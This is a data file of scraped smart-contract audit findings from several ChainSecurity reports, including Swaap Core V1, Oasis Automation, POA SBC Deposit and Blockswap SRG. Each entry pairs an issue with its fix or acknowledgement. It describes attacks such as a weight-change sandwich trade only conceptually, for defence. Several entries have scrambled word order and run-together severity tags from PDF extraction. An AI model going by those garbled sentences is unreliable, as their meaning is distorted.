"html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "6.2 Known Issues Before the Audit", "body": " The following two issues were known before the audit: In AngleVault: > withdrawAll() wrongly defined. Since that every LP obtained will be staked directly into the related LGV4, for this reason the msg.sender's balance would be always 0. In CurveStrategy: > An edge case can happen within the harvest() for certain type of curve gauges, with more than one extra reward. StakeDAO - LiquidLockers - 16 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/stakedao-liquidlockers/"}, {"title": "7.1 Chainlink Query May Revert", "body": " The Pool contract relies on ChainLink assumptions that do not hold. Chainlink's round IDs do not always increase monotonically. Therefore, the getRoundData queries can revert. Relying on _roundId-- in GeometricBrownianMotionOracle.getHistoricalPrice is not correct, since querying an invalid ID will make the swap revert. The call to the price feed's getRoundData function has been moved in a try/catch block and the function returns (0, 0) if the oracle call reverts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.2 Dynamic Weights Changing Problem", "body": " Swaap Labs - Swaap Core V1 - 13 CriticalHighCodeCorrectedCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedDesignHighVersion1CodeCorrectedSecurityHighVersion1CodeCorrected \fAssume the pool has 10 X and 10 Y tokens that both have weight of 1. Initial invariant: 10X * 10Y = 100 Now assume attacker sees an update in oracle price, that will change the weight of X tokens to 2. Attacker performs a trade: in 990 Y, out 9.9 X. New constant product: After ChainLink price update, the X tokens weight become 2. New invariant: (0.1X)2 * 1000Y = 10 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "0.1X * 1000Y = 100", "body": " In 0.9 X, out 990 Y. The invariant holds: New constant product: (1X)2 * 10Y = 10 With 2 these trades that surround the price update, attacker profited by 9 X tokens. The sandwiching can be performed using the Flashbots service. This issue is similar to the one that was discovered in Curve. Swaap Labs introduced 2 solutions: 1. The relative price AfterSwapPoolPrice/OraclePrice <= 102% + fee difference between oracle and pool price is capped: 2. If the user sells token that is in shortage, and the token price experienced increase in the current block, extra fee is applied to compensate for a possible impermanent loss of the pool. Together these 2 solutions help with the weight change sandwich attack. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.3 Geometric Brownian Motion Parameter", "body": " Estimation For a returns R over time window T, the code estimates Geometric Brownian Motion parameters using these formulas: Ri N \u2211 i = 0 T \u03bc = N \u2211 i = 0 \u03c32 = (Ri \u2212 \u03bc)2 + (T \u2212 N) * \u03bc2 T \u2212 1 According to specification, the second term in s computation is responsible for times, when the sample is missing and thus the return at that point is assumed to be 0. Assuming dt is a regular sampling period, the N = T/dt - number of samples. In that case, a common way to estimate the GBM parameters using successive observations method is given by: Ri N \u2211 i = 0 N \u0302\u03bc = N \u2211 i = 0 \u0302\u03c32 = (Ri \u2212 \u0302\u03bc)2 T N \u2211 i = 0 (Ri \u2212 \u0302\u03bc)2 T * dt N \u2211 i = 0 Ri T + \u03c32 2 \u03c32 = \u0302\u03c32 dt = \u03bc = \u0302\u03bc dt + \u03c32 2 = Swaap Labs - Swaap Core V1 - 14 DesignMediumVersion1CodeCorrected \fComparing these estimations to code estimations, we can see following discrepancies: 1. Code m estimate lacks a 0.5 * s^2 term, and thus will be underestimated. 2. Code s estimate lacks a dt scaling factor, and thus will be overestimated. 3. Code s estimate has a (T - N)/T * m^2 term, that also doesn't help with precision of the estimate. To summarize, the outputs of GeometricBrownianMotionOracle.getStatistics can have big errors, that might lead to impermanent losses of LPs as well as to overpriced swaps. In addition, for Chainlink price oracles the sampling periods are not consistent and affected by Deviation and Heartbeat Thresholds. Thus the code computed estimations in most cases will fail to accurately estimate the price evolution process, even if it has the GBM nature. Code modified: The parameters estimation method has been modified to use the price ratios between two successive period instead of the return. The new implementation uses the following formulas: Si = pricei \u0394i = timestampi \u2212 timestampi \u2212 1 T log(Sn \u03bc = 1 ) S0 \u03c32 = 1 N \u2212 1 [\u22121 T log(Sn )2 + N \u2211 i = 1 log( Si Si \u2212 1 \u0394i )2 ] S0 These formulas come from the maximum likelihood estimation (MLE) for the GBM parameters. However to be the true MLE, mu should have a correction factor of + 0.5 * sigma^2. This correction factor is not needed here because Swaap Labs computes the z-percentile of the lognormal distribution, which only needs mu + 0.5 * sigma^2 - 0.5 * sigma^2 = mu. Thus, the computed mu and sigma are consistent with their future usage. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.4 Inverted Token Performance", "body": " The signature of the function is: _getTokenPerformance(uint256 initialPrice, uint256 latestPrice) and computes the performance ratio as latestPrice / initialprice. However, the function is (latestPrice_param, always initialPrice_param), ratio initialPrice_param / latestPrice_param. arguments result of inverted performance the call will yield called with the the following order the the in Natspec and _getTokenPerformance call input order was fixed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.5 View Functions Reentrancy", "body": " Some view functions don't use the _viewlock_ modifier. In case of reentrancy due to ERC20 token calls (e.g. ERC777), these getters can return unreliable data. This may break the integration with other contracts and systems that rely on these getters. Such getter functions are: Swaap Labs - Swaap Core V1 - 15 CorrectnessMediumVersion1CodeCorrectedSecurityMediumVersion1CodeCorrected \f getAmountOutGivenInMMM Please note, this list might be incomplete. Any function of a contract that does external call need to be lock or viewlock protected, if other external contract might rely on the data from this contract, such as spot prices, weights, etc. View locks have been added to all view functions in the Pool.sol contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.6 Zero Exit Fee Allows Just-In-Time Liquidity", "body": " Provision Since the system is not totally impermanent loss resistant, liquidity providers are still exposed to a risk. To cope with the risk, malicious liquidity providers can sandwich large swaps transactions and collect most of the swap fee without the risk of an impermanent loss. JIT liquidity provision is mitigated by the use of a cooldown timer of 2 blocks. A LP that provided liquidity to a pool cannot exit the pool or transfer LP tokens (by either transfer or approval and transferFrom) for a period of 2 blocks after the liquidity provision. However, this may block proxy contracts to manage funds for users. To cope with this issue, Swaap Labs added the joinPoolForTxOrigin, a function that pulls funds from msg.sender, but deposits them to the tx.origin. Since it is not the authorization by the tx.origin, this does not raise problems like https://swcregistry.io/docs/SWC-115. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.7 Num.abs Function Name", "body": " The name of Num.abs function does not match its functionality. The Num.abs function has been renamed Num.positivePart. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.8 getRoundData Function Duplication", "body": " function getRoundData and in functionality The GeometricBrownianMotion and in ChainlinkUtils. Functionality duplication should be avoided as it increases the amount of code to deploy and deteriorates code maintainability. is duplicated. implemented its is It Swaap Labs - Swaap Core V1 - 16 DesignMediumVersion1CodeCorrectedCorrectnessLowVersion2CodeCorrectedDesignLowVersion2CodeCorrected \f The getRoundData function in GeometricBrownianMotion has been removed and its use has been replaced by the getRoundData function from ChainlinkUtils. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.9 Compiler Version Not Fixed and Outdated", "body": " The solidity compiler is not fixed in the contracts. The version, however, is defined in the truffle-config.js to be 0.8.0. In the Factory contract the following pragma directive is used: pragma solidity ^0.8.0; Known bugs in version 0.8.0 are: https://github.com/ethereum/solidity/blob/develop/docs/bugs_by_version.json#L1531 More information about these bugs can be found here: https://docs.soliditylang.org/en/latest/bugs.html At the time of writing the most recent Solidity release is version 0.8.12 which contains some bugfixes. The compiler was fixed to version 0.8.12. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.10 Gas Inefficiency and Duplicated Checks", "body": " 1. In the GeometricBrownianMotionOracle.getHistoricalPrices function, idx is set to hpParameters.lookbackInRound + 1 and then directly to 1. The second first assignation has no effect. 2. Math.getLogSpreadFactor checks horizon and variance for >= 0, this check is useless since both values are uint256. 3. Math.getLogSpreadFactor does division by two with 5 * Const.BONE / 10, simply dividing by 2 would save gas. 4. In Math.getInAmountAtprice it is possible to pack computations to save calls to LogExpMath.pow. 5. Some state variables can fit in smaller types (e.g., with its current bounds, dynamicCoverageFeesZ could fit in a uint64). Saving storage slots might save gas. 6. TokenBase's _burn and _move functions check that there is enough balance, the check for underflow is by default since compiler version 0.8.0. 7. PoolToken.transferFrom check that there is enough allowance, the check for underflow is by default since compiler version 0.8.0. 8. PoolToken's _name, _symbol and _decimal can be constant and their respective getter functions can be external. This will save gas. Swaap Labs - Swaap Core V1 - 17 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f9. The overflow checks in numerous Num functions are not necessary anymore since compiler version ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "0.8.0, which features automatic overflow check. The division by zero checks are not necessary,", "body": " solidity division will revert on a division by 0. 10. Elements of the Pool.Record struct can have a smaller type (e.g. index, denorm) and be reordered to save storage. 11. The Pool's state variable _factory can be immutable. 12. Pool.joinPool, Pool.getAmountOutGivenInMMM, Pool.finalize can be external. 13. The check for _controller address and finalization in Pool.bindMMM are redundant with the ones in Pool.rebindMMM. 14. When resetting storage slots on mappings, e.g. in unbindMMM, the use of delete is recommended for lower gas usage. 15. The second require of _getAmountOutGivenInMMMWithTimestamp is a less strict version of the first requirement. Version 2: 1. Const.MAX_IN_RATIO and Const.MAX_OUT_RATIO are never used in the code, they should be removed. 2. getMMMWeight is always called with shortage = true, removing the argument and code related to shortage = false will save gas. 1. idx is set to 1 at variable declaration. 2. Both checks for >= 0 have been removed. 3. The multiplication by 5 / 10 has been replaced by a division by 2. 4. The terms under w_o / (w_o + w_i) have been grouped together. 5. Acknowledged. Some state variables have been changed to use a smaller type. 6. The checks for sufficient balance have been removed. 7. The check for sufficient allowance has been removed. 8. PoolToken's _name, _symbol and _decimal have been changed to constant and their respective getter function have external visibility. 9. Unnecessary overflow checks in Num library have been removed. 10. index and denorm types have been reduced to uint8 and uint80 resp. 11. _factory state variable has been changed to immutable. 12. Pool.joinPool, Pool.getAmountOutGivenInMMM, Pool.finalize visibility has been changed to external. 13. The checks have been moved to the common _rebindMMM function. 14. delete is now used to reset the storage fields in the mappings. 15. Both require have been removed. The check has been replaced by the oracle update sandwich protection. Version 2: 1. Unused constants have been removed. 2. The shortage parameter of function getMMMWeight has been removed. Swaap Labs - Swaap Core V1 - 18 \f7.11 Num Library Function Visibility The functions of Num library have public visibility. This way, any contract that will need to deploy this library, will use it as an external contract. It means that any call to the library functions will result in quite expensive CALL opcode. If the visibility of those functions were internal, the function code would be then inlined at the point of use. This way bytecode size of Pool will be smaller and gas cost for each see: library https://docs.soliditylang.org/en/latest/contracts.html#libraries operation smaller more well. info call For will be as The visibility of the functions in the Num library has been changed to internal. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.12 Specification Mismatch", "body": " 1. The formula provided in the documentation for getInAmountAtPrice multiplies the desired price by w_out / w_in which is wrong, however the implementation correctly multiplies by w_in / w_out. 2. In the whitepaper, when the stochastic buy-sell spread is computed, the p-percentile of the random variable is divided by the latest oracle price, this is not the case in the implementation. 3. The @dev natspec of getNextSample is incomplete 4. The @dev natspec of getRoundData makes a wrong assumption, the function will revert if no data can be found as specified in https://docs.chain.link/docs/faq/#can-the-data-feed-read-revert. 5. The specification of some public and external functions, e.g. joinPool, finalize, calcSpotPrice, is missing. 6. The @notice natspec of rebindMMM is incomplete. 7. The natspec of Pool._getTokenPerformance defines twice the first parameter and not the second one Version 2: 1. The @dev natspec of GeometricBrownianMotionOracle.getHistoricalPrices does not reflect the implementation. If no historical data was found, the latest data and startIndex == 0 will be returned. If round data is 0, the round will simply be skipped, the algorithm will not stop filling prices/timestamps. 2. The _getParametersEstimation doesn't describe all @param. Specification partially corrected: 1. The formula in the documentation has been corrected. 2. Specification changed. 3. The @dev natspec for getNextSample has been completed. 4. The implementation of getRoundData now matches the natspec. Swaap Labs - Swaap Core V1 - 19 DesignLowVersion1CodeCorrectedDesignLowVersion1Speci\ufb01cationChanged \f5. Comments or natspec have been added for some public and external functions. 6. The natspec for rebindMMM has been completed. 7. The second parameter is now described in the natspec. Version 2: 1. The @dev natspec has been updated to reflect the implementation. 2. The missing parameters natspec has been added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "7.13 Time Window of 1 Will Revert", "body": " A time window of 1 second will make getStatistics revert due to a division by zero. The Const.MIN_LOOKBACK_IN_SEC limit enforced on _priceStatisticsLookbackInSec storage variable in setPriceStatisticsLookbackInSec function does not prevent this case from happening. If time window = 1, the variance and mean are considered to be 0. Swaap Labs - Swaap Core V1 - 20 DesignLowVersion1CodeCorrected \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "8.1 Compatibility Issues Due to tx.origin", "body": " The use of tx.origin limits certain functionality of the contract. Such contracts can be not deployable on chains that don't support ORIGIN opcode, e.g. Optimism. In addition, usage of this contract by wallet contracts like Gnosis wallet can also be limited. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "8.2 ERC20 Compatibility", "body": " The _pull/_pushUnderlying functions of the Pool expect transferFrom and transfer to always return a boolean. However, some tokens, for example USDT, do not follow this pattern and are thus incompatible with the system. OpenZeppelin has a SafeERC20 library, which helps with such tokens. In addition, the usage of ERC20 tokens with fees, rebalancing tokens, or tokens with reentrancies can be problematic to integrate. Swaap Labs needs to carefully consider what tokens can be supported by the Pool. The _pull/_pushUnderlying functions have been modified to use the SafeERC20 library for token transfer. Swaap Labs - Swaap Core V1 - 21 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/swaap-core-v1/"}, {"title": "6.1 Missing ETH Unwrapping", "body": " The AutomationExecutor allows its owner to withdraw tokens or native ETH. As the Oazo team informed us, the main purpose of this function is to withdraw ETH converted from DAI. The exchange contract is not able to handle native ETH but needs its wrapped version. Hence there is a need for unwrapping functionality to be able to use native ETH. However, such functionality is not implemented. unwrapWETH has been implemented. It can be called only by the owner of the AutomationExecutor contract and calls weth.withdraw function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-automation-consultancy-smart-contracts/"}, {"title": "6.2 Accidental Approval Revocation", "body": " On removeTrigger a user can accidentally set the removeAllowance variable to true. If this happens the approval to the automation bot is revoked. A user can only re-approve the automation bot indirectly by adding another trigger since there is no function to do this directly. Another option for the user is to use the revocation manager. Oazo Apps Limited - Automation Consultancy - 11 CriticalHighMediumCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedDesignMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fCode corrected The functionality to grant approval to the automation bot has been added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-automation-consultancy-smart-contracts/"}, {"title": "6.3 Dead Code", "body": " In ServiceRegistry, functions addTrustedAddress, removeTrustedAddress and isTrusted manipulate the trustedAddresses mapping. However, this mapping is not used by the rest of the implementation. Moreover, McdUtils.convertTo18 is also never used. the The dead code has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-automation-consultancy-smart-contracts/"}, {"title": "6.4 Missing Sanity Checks", "body": " There are multiple points in the contract where sanity checks are missing. The absence of such checks can allow users to assign invalid values to variables: 1. AutomationBot.addRecord does not sanitize triggerType and triggerData. Also, triggerData includes slLevel which can have invalid values that cause reverts inside isExecutionLegal. Should the variables store invalid data the corresponding trigger will not be able to execute at a later point in time. 2. AutomationExecutor.(transferOwnership, setExchange) does not sanitize the input values. Notice that there is no delayed execution implemented for this contract. 3. ServiceRegistry.constructor sanitizes the required delay by requiring it to be less than the maximum integer. However, any value close to the maximum integer would be valid and problematic for the system. 1. AutomationBot.addRecord validates the triggerData by using commandAddress.isTriggerDataValid. 2. AutomationExecutor now sanitizes the data. 3. The maximum required delay is now set to 30 days. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-automation-consultancy-smart-contracts/"}, {"title": "6.5 Outdated Compiler", "body": " The system is compiled using solidity version 0.8.4. However, more recent versions are available. At the time of writing 0.8.13 is the most recent version. Oazo Apps Limited - Automation Consultancy - 12 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f The compiler version 0.8.13 is now used. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-automation-consultancy-smart-contracts/"}, {"title": "6.6 Redundant Authorization", "body": " In McdUtils.drawDebt, the authorization of the AutomationBot to daiJoin is given every time the call is made since the following line is always executed: IVat(vat).hope(daiJoin); We noticed that the implementation is quite similar to https://github.com/OasisDEX/multiply-proxy-action s/blob/develop/contracts/multiply/MultiplyProxyActions.sol#L205. However, there is always a check if the authorization is needed. The current implementation only grants authorization to daiJoin, if it has not been given before. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-automation-consultancy-smart-contracts/"}, {"title": "6.7 Rounding Errors", "body": " According to the specification (https://github.com/dapphub/ds-math), DSMath.wmul should be used with two Wads and DSMath.rdiv should be used with two Rays. However, this is not true in McdView.getRatio where the following snippet exists: uint256 ratio = rdiv(wmul(collateral, price), debt); Here, wmul is applied on collateral which is a wad and price which is a 9-decimal number. The result will also be a 9-decimals number. Later, rdiv is applied on this 9-decimal number and debt which is a wad. The result is a Wad instead of a Ray. Wrong usage of DSMath leads to rounding errors. This means that a vault is rendered closable at different levels than the users have actually set. In the current implementation price is a Wad and the problematic snippet has been rewritten to: return wdiv(wmul(collateral, price), debt); ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-automation-consultancy-smart-contracts/"}, {"title": "6.8 Specification Discrepancies", "body": " Oazo Apps Limited - Automation Consultancy - 13 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1Speci\ufb01cationChanged \fThere are some discrepancies between the provided specification and the actual implementation. We follow the enumeration provided in the documentation. System Requirements & Assumptions: ServiceRegistry: 1. The addresses are not trusted, in the sense that the trustedAddresses mapping is not used. 4. removeTrustedAddress also does not use the delayedExecution modifier. AutomationBot: 5. If a user executes addRecord directly to add a trigger then cdpAllow will not be called. 13. The permission might have been revoked by the user. Smart Contract Architecture: AutomationExecutor: swapTokenForDai is documented but does not exist. swap is implemented but not documented. Specification changed: All the discrepancies in the specification have been fixed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-automation-consultancy-smart-contracts/"}, {"title": "6.9 Use Safe Calls", "body": " AutomationExecutor exposes swap and withdraw functions. These functions, interact with ERC20 contracts by calling ERC20.approve and ERC20.transfer. However, these calls will fail, should a user try to interact with a USDT contract. For example, a user sends accidentally USDT to the AutomationExecutor, the amount will remain stuck there since any withdrawal by the owner will fail. SafeERC20 used. SafeERC20.safeIncreaseAllowance and ERC20.transfer has been SafeERC20.safeTransfer. ERC20.approve library been now has is replaced with replaced with ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-automation-consultancy-smart-contracts/"}, {"title": "6.10 Zero Debt Vaults", "body": " returns 0 when the debt of a vault McdUtils.getRatio than CloseCommand.isExecutionLegal will return true, and thus, render the vault closable. This means that a caller might try to close the a zero debt vault. When the AutomationExecutor calls AutomationBot.execute, the latter will try to withdraw extra debt (drawDaiFromVault) to cover its gas costs. However, the Maker system only allows users to withdraw debt that exceeds a specific limit (dust). Since the amount of extra debt withdrawn to cover the caller is small compared to the dust amount, the whole transaction will revert. is 0. This means Oazo Apps Limited - Automation Consultancy - 14 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fAn execution of the CloseCommand is legal as long as the collateralization ratio is not 0. Oazo Apps Limited - Automation Consultancy - 15 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-automation-consultancy-smart-contracts/"}, {"title": "6.1 onTokenTransfer Wrong Accounting", "body": " When triggering onTokenTransfer with only one deposit, stake_amount is assumed to be 32 STAKE but is not checked. This allows a depositor to call STAKE.transfer with 1 STAKE but to be accounted for 32 in the Merkle tree. Code corrected In case of a single transfer the amount is set to the transferred amount specified. In batch transfers it is set to 32 Ether. This behavior is coherent with the behavior of single deposits and batch deposits. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-stake-beacon-chain-sbc-deposit/"}, {"title": "6.2 EIP1967 Storage Addresses", "body": " Hard-coding long strings could be error prone. The storage addresses of implementation and admin are hardcoded as hex values in multiple places. This adds complexity and is even more error prone. A clean mitigation would be to set the storage addresses used for implementation and admin as constants once and use this constant later on. Code corrected The hard coded strings were replaced by constants. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-stake-beacon-chain-sbc-deposit/"}, {"title": "6.3 Interface Name Mismatch", "body": " POA Network - SBC Deposit - 9 CriticalCodeCorrectedHighMediumLowCodeCorrectedCodeCorrectedCorrectnessCriticalVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThe name of the file and interface IERC667 should be IERC677 to be compliant with the transferAndCall Token Standard. Code corrected The file was renamed with the appropriate name. POA Network - SBC Deposit - 10 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-stake-beacon-chain-sbc-deposit/"}, {"title": "7.1 Admin Power", "body": " The system is administrated. The admin account has the complete power including withdrawing all funds by updating the implementation contract. Hence, the security of the admin key is of utmost importance as well as the trust in the key holder/s. POA network provided the information that they are aware of this note and will keep the admin contract under control by a multisig. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-stake-beacon-chain-sbc-deposit/"}, {"title": "7.2 Locked Tokens in Implementation", "body": " The admin can withdraw all tokens balances from the proxy, but funds sent to the implementation contract are stuck. POA Network reasoned that from their past experience with user support requests, users tend to mistakenly send tokens only to the proxy contract, since only its address is being publicly advertised. Implementation contract is \u201chidden\u201d from regular users, so they are unlikely to send tokens to that address. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-stake-beacon-chain-sbc-deposit/"}, {"title": "7.3 Proxy/implementation Separation", "body": " The proxy takes care of the zero hashes initialization. To be consistent, this logic should belong into the implementation contract. The admin is able to act on both the proxy and implementation logics. It is usually a good practice to separate roles of proxy from roles of implementation. POA network is aware of this note and explained that this is the intended behavior. POA Network - SBC Deposit - 11 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/poa-network-stake-beacon-chain-sbc-deposit/"}, {"title": "5.1 Problems Related to Consent and", "body": " ConsentVerification The consent ECDSA signature that the depositor needs to provide has the following design issues: 1. When Alice wants to deposit 100 wei ERC20 token from Optimism to Bob on mainnet, she has to sign EIP712 hash of Consent(Bob, 100, \"\"). However, the same signature she has to provide if Alice wants to deposit 100 ERC20 token from Polygon to Bob. This signature does not contain any information about origin domain. Only address of ConsentVerification contract on the destination chain is taken into account. 2. Only EOA addresses are able to sign data. Multisig wallets or any other smart contract addresses won't be able to provide a consent signature. This limits potential integrations of SRG with the other systems 3. Consent itself is redundant. Both ERC20Gateway and savETHGateway allow only deposits when msg.sender == ownerGivingConsent. Thus, only Alice will be able to insert the deposit leaf into Accumulator. Check that deposit is inserted into the Accumulator tree can be seen as an \"Alice wanted to transfer funds to Bob\" check. In addition, deposit leaf insertion contains more information and thus is a stronger constraint. 4. CONSENT_TYPEHASH violates the EIP712 specification. The type of a struct must be encoded as name || \"(\" || member_1 || \",\" || member_2 || \",\" || \u2026 || member_n \")\" where each member is written as type || \" \" || name. The CONSENT_TYPEHASH doesn't have member names. Blockswap - SRG - 15 DesignCorrectnessCriticalHighMediumAcknowledgedLowAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedAcknowledgedDesignMediumVersion1Acknowledged \f5. ConsentVerification.computeTypedStructHash violates the EIP712 specification. Each encoded member value must be exactly 32-byte long. abi.encodePacked will encode address _paramOne as 20-byte long. Acknowledged: Blockswap responded: We will be addressing these as part of the transportation layer upgrade we mentioned in the call ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "5.2 Finalization of Extension Can Stuck", "body": " Once deposit or pokeLatestBalance functions get called, they need to be finalized on the destination domain, using push and balanceIncrease functions. However, this second call can be \"stuck\". The SRG system does not offer users any way to recover stuck funds. Some reasons can be user mistakes, e.g. user deposited to addresses nobody has control over on their destination domain. However, more serious are issues where origin domain functions do not perform strict enough verification of the parameters. For example: 1. Consent verification relies on OZ library that enforces s-value of v,r,s tuple to be in the lower range of secp256k1n curve. In general, ecrecover percompile supports both high and low s-value signatures. During the deposit function call, only the v-values are constrained. 2. If batch staking rule constant is misconfigured, a check on deposit might be satisfied, while during the push the amountExtended value can be too small. Acknowledged: Blockswap responded: Users should always be able to verify their transactions before signing to ensure funds are not locked much like when interacting with a single blockchain and ensuring things like recipient are correct etc. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "5.3 Missing Status by", "body": " EndorserLifecycleStatusUpdated When the event EndorserLifecycleStatusUpdated gets emitted, it just indicates the status of a given endorser has been updated, without containing any further information about its current status. As a better practice, the current status of the endorser can be embodied in this event. Acknowledged: Blockswap responded: Indexers can read the state of the contract at the time of event emission. We will address this later Blockswap - SRG - 16 DesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \f5.4 Pausing and Unpausing Emit Misleading Events Some functions, which perform the state transitions of the Gateway contract do not check, whether the contract is already in the needed state: pauseGateway unpauseGateway pauseDomain unpauseDomain As a result, repeated calls to these functions will have no effects on the state but will trigger an event. Some of these functions also do not check, whether the killswitch was triggered for this domain. Thus, pauseGateway after triggerKillSwitch can be called. Acknowledged: Blockswap has acknowledged the issue without fixing it, responding: We are ok with this. contract storage should always be checked for the source of truth ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "5.5 RPBS _isOnCurve Infinity Point", "body": " Most of the bn128 libraries consider that the infinity point belongs to the curve. The _isOnCurve function does not. Reference: Ethereum Clearmatic bn256 Acknowledged: Blockswap has acknowledged that their implementation does not follow the implementation of bn128. Blockswap responded: We will be addressing these as part of the transportation layer upgrade. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "5.6 Repeated Pokes", "body": " For a single pokeLatestBalance action, the balanceIncrease finalization can be done multiple times. Only the first balanceIncrease will have an effect. All other calls will result in no balance update, however, the poke leaf will still be inserted in the Accumulator. In theory, an attacker can spam this transaction to deplete all the leaves in the Merkle tree. Acknowledged: Blockswap - SRG - 17 DesignLowVersion1AcknowledgedCorrectnessLowVersion1AcknowledgedDesignLowVersion1Acknowledged \fBlockswap responded: We will add a spam mitigation strategy later. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "5.7 saveETHManager.init Is Not Defined in", "body": " ISavETHManager In StakeHouseUniverseDestinationGateway.init an ERC1967 Proxy gets deployed for the logic contract _saveETHManagerLogic. However, when encoding _data input field for the constructor of ERC1967, it assumes 1. init function is implemented for savETHManager, although not defined in ISavETHManager 2. init savETHManager savETHDestinationReporter.init, which might be invalid assumption. function exact has the of same layout as These assumptions can be wrong. Acknowledged: Blockswap has acknowledged it, claiming that calling this function from external users is not encouraged. Blockswap - SRG - 18 DesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Cost of bytesToHex ERC20 Token Decimals Inconsistent DepositEvent Amount Units batchDeposit Reverts if the Lengths of Input Arrays Match -Severity Findings EIP165 Interface Implementation Check Is Not Fully Correct Sandwich Attack Without MEV Services Deployed Event of Gateway Is Not Informative whenGatewayAndPushNotKilled Specification Mistmatch dETH Dispensers Are Not a IsavETHDispenser ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/blockswap-srg-state-replication-gateway/"}, {"title": "6.1 Cost of bytesToHex", "body": " 0 0 4 5 The bytesToHex is used to convert bytes to hex string. The only reason for this is to be compliant with the elliptic-js library. The bytesToHex is an extremely inefficient on-chain. Such conversions on-chain are strongly discouraged. They are computationally expensive and may lead to gas exhaustion. This does not pose a direct security risk, but it lowers the overall usability and scalability of the contract. The RPBS-sol package now operates with the bytes representation directly, without conversion to hex. The new function encodePoint is used in the assessed contracts instead of encodePointHex function. ", "labels": ["ChainSecurity"], "html_url": 